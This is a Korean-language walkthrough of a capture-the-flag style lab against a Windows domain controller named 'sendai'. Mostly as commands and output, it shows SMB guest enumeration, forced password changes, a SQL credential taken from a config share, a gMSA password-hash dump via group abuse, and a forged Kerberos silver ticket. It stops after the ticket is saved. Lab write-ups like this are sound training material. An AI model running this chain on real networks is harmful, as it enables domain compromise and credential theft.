sendai-window

정찰수행

nmap

┌──(root㉿BOOK-2S4VUSLFM3)-[/home/surtesters]
└─# nmap -sCV --min-rate=10000 -p 53,80,88,135,139,389,443,445,464,593,636,3268,3269,3389,5985,9389 10.129.234.66
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-09-09 15:06 KST
Nmap scan report for sendai.vl (10.129.234.66)
Host is up (0.25s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-09-09 06:07:06Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: sendai.vl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc.sendai.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc.sendai.vl
| Not valid before: 2025-08-18T12:30:05
|_Not valid after:  2026-08-18T12:30:05
443/tcp  open  ssl/http      Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
| ssl-cert: Subject: commonName=dc.sendai.vl
| Subject Alternative Name: DNS:dc.sendai.vl
| Not valid before: 2023-07-18T12:39:21
|_Not valid after:  2024-07-18T00:00:00
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
|_ssl-date: TLS randomness does not represent time
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sendai.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.sendai.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc.sendai.vl
| Not valid before: 2025-08-18T12:30:05
|_Not valid after:  2026-08-18T12:30:05
|_ssl-date: TLS randomness does not represent time
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: sendai.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.sendai.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc.sendai.vl
| Not valid before: 2025-08-18T12:30:05
|_Not valid after:  2026-08-18T12:30:05
|_ssl-date: TLS randomness does not represent time
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sendai.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.sendai.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc.sendai.vl
| Not valid before: 2025-08-18T12:30:05
|_Not valid after:  2026-08-18T12:30:05
|_ssl-date: TLS randomness does not represent time
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: SENDAI
|   NetBIOS_Domain_Name: SENDAI
|   NetBIOS_Computer_Name: DC
|   DNS_Domain_Name: sendai.vl
|   DNS_Computer_Name: dc.sendai.vl
|   DNS_Tree_Name: sendai.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2025-09-09T06:07:50+00:00
| ssl-cert: Subject: commonName=dc.sendai.vl
| Not valid before: 2025-04-15T02:26:14
|_Not valid after:  2025-10-15T02:26:14
|_ssl-date: 2025-09-09T06:08:31+00:00; 0s from scanner time.
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open  mc-nmf        .NET Message Framing
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2025-09-09T06:07:50
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 97.51 seconds

DC 서버임

winrm 열려있음

smb guest auth null auth 확인

┌──(root㉿BOOK-2S4VUSLFM3)-[/home/surtesters]
└─# nxc smb dc.sendai.vl -u '' -p '' --shares
SMB         10.129.234.66   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:sendai.vl) (signing:True) (SMBv1:False)
SMB         10.129.234.66   445    DC               [+] sendai.vl\:
SMB         10.129.234.66   445    DC               [-] Error enumerating shares: STATUS_ACCESS_DENIED

┌──(root㉿BOOK-2S4VUSLFM3)-[/home/surtesters]
└─# nxc smb dc.sendai.vl -u 'guest' -p '' --shares
SMB         10.129.234.66   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:sendai.vl) (signing:True) (SMBv1:False)
SMB         10.129.234.66   445    DC               [+] sendai.vl\guest:
SMB         10.129.234.66   445    DC               [*] Enumerated shares
SMB         10.129.234.66   445    DC               Share           Permissions     Remark
SMB         10.129.234.66   445    DC               -----           -----------     ------
SMB         10.129.234.66   445    DC               ADMIN$                          Remote Admin
SMB         10.129.234.66   445    DC               C$                              Default share
SMB         10.129.234.66   445    DC               config
SMB         10.129.234.66   445    DC               IPC$            READ            Remote IPC
SMB         10.129.234.66   445    DC               NETLOGON                        Logon server share
SMB         10.129.234.66   445    DC               sendai          READ            company share
SMB         10.129.234.66   445    DC               SYSVOL                          Logon server share
SMB         10.129.234.66   445    DC               Users           READ

Users, sendai 에 READ 권한이 있다.

Users 엔 특별한 내용 없음

sendai > transfer 폴더안에 사용자 계정들 명 확인가능

rid 브루트 시, SidTypeUser 알수 있으면 해당 정보만 파싱 수행

해당 계정들 대상 비밀번호 없이 접근 가능한 계정들 확인 시도

Elliot.Yates 와 Thomas.Powell의 경우 STATUS_PASSWORD_MUST_CHANGE 를 확인 할수 있어,
비밀 번호 지정후 로그인 가능할 것으로 보임

impacket chagepasswd.py 를 이용하여, 비밀번호 변경 성공!

rdp 로 인증은 성공하나, shell 접근 안됨

해당 계정은 일전 접근하지 못하였던, config 파일 접근이 가능하여 접근 후 sql 설정 파일 다운로드

┌──(root㉿BOOK-2S4VUSLFM3)-[/usr/share/windows-resources/rubeus]
└─# cat .sqlconfig
Server=dc.sendai.vl,1433;Database=prod;User Id=sqlsvc;Password=SurenessBlob85;

데이터베이스 id 및 비밀번호 획득 가능

여전히 해당 계정으로는 winrm 접속불가 1433 도 안열려있기 때문에 database 접속 할수 없음

Bloodhound

nxc 와 rusthound-ce 두가지 방법을 이용하여, bloodhound data 수집

하나만 사용 시 데이터 누락되는 경우가 있음!!

Elliot → SUPPORT → ADMSVC → MGTSVC$ → Domain Computers 라는 권한 체인.

GenericAll과 ReadGMSAPassword 권한:
> Elliot → SUPPORT 그룹 멤버십을 이용
> ADMSVC 그룹 권한을 악용해 GMSA 계정(MGTSVC$) 패스워드 덤프
> MGTSVC$ 자격 증명으로 도메인 내 다른 컴퓨터 접근 시도 가능

bloodyAD 를 이용하여 엘리엇 계정 AdmSvc 그룹에 추가

┌──(root㉿BOOK-2S4VUSLFM3)-[/home/surtesters]
└─# nxc ldap dc.sendai.vl -u Elliot.Yates -p hackthebox2025! --gmsa
SMB         10.129.234.66   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:sendai.vl) (signing:True) (SMBv1:False)
LDAPS       10.129.234.66   636    DC               [+] sendai.vl\Elliot.Yates:hackthebox2025!
LDAPS       10.129.234.66   636    DC               [*] Getting GMSA Passwords
LDAPS       10.129.234.66   636    DC               Account: mgtsvc$              NTLM: 9ed35c68b88f35007aa32c14c1332ce7

nxc 를 이용하여 GMSA ntlm 획득

shell 획득 가능 상태!!

user flag 획득!!

권한상승

일전얻었던 sqlsvc 계정을 활용해보자, 일반적을 SQL 서비스 관련 계정 권한이 높음

또한 sqlsvc 계정은 SPN 을 가지고 있다.

└─# echo -n "SurenessBlob85" | iconv -t utf16le | openssl dgst -md4
MD4(stdin)= 58655c0b90b2492f84fb46fa78c2d96a

기존 구햇던 인증정보의 NTLM 값 구함 ticket 생성을 위함

┌──(root㉿BOOK-2S4VUSLFM3)-[/home/surtesters]
└─# ticketer.py -nthash 58655c0b90b2492f84fb46fa78c2d96a -domain-sid S-1-5-21-3085872742-570972823-736764132 -domain sendai.vl -spn MSSQL/dc.sendai.vl administrator
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Creating basic skeleton ticket and PAC Infos
/root/.local/bin/ticketer.py:141: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  aTime = timegm(datetime.datetime.utcnow().timetuple())
[*] Customizing ticket for sendai.vl/administrator
/root/.local/bin/ticketer.py:600: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  ticketDuration = datetime.datetime.utcnow() + datetime.timedelta(hours=int(self.__options.duration))
/root/.local/bin/ticketer.py:718: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  encTicketPart['authtime'] = KerberosTime.to_asn1(datetime.datetime.utcnow())
/root/.local/bin/ticketer.py:719: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  encTicketPart['starttime'] = KerberosTime.to_asn1(datetime.datetime.utcnow())
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
/root/.local/bin/ticketer.py:843: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  encRepPart['last-req'][0]['lr-value'] = KerberosTime.to_asn1(datetime.datetime.utcnow())
[*]     EncTGSRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Saving ticket in administrator.ccache